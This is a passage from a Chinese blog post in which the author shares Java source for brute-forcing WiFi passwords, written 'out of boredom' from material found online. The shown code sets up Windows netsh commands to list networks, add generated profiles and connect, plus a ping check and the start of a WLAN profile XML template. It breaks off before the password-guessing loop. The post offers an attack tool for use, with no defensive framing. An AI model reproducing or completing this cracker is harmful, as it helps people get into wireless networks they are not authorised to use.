Java暴力破解wifi密码
过年在家闲得蛋疼,参考网上的资料,写了一个暴力破解wifi的java代码,废话不多说,附上源码
public class Demo {
public static final String CODE_UTF8 = "utf-8";
public static final String CODE_GBK = "gbk";
public static final String DEFAULT_PATH = "E://wifi";//默认wifi配置文件生成路径
public static final String WIFI_LIST = "netsh wlan show networks mode=bssid";// 列出所有可用wifi
public static final String WIFI_ADDFILE = "netsh wlan add profile filename=";// 添加配置文件,后面需要加上你生成的配置文件名称
public static final String WIFI_CONNECT = "netsh wlan connect name=";// 连接wifi,后面加上你需要连接的wifi名称
public static final String TEST_CONNECT = "ping www.baidu.com";//wifi连接后测试是否ping通的一个网址
//一个配置文件模板
public static String XML_FORMAT = "<?xml version=\"1.0\"?>"
+"<WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\">"
+"<name>WIFI_NAME</name>"
+"<SSIDConfig>"
+"<SSID>"
+"<name>WIFI_NAME</name>"
+"</SSID>"
+"</SSIDConfig>"
+"<connectionType>ESS</connectionType>"
+"<connectionMode>manua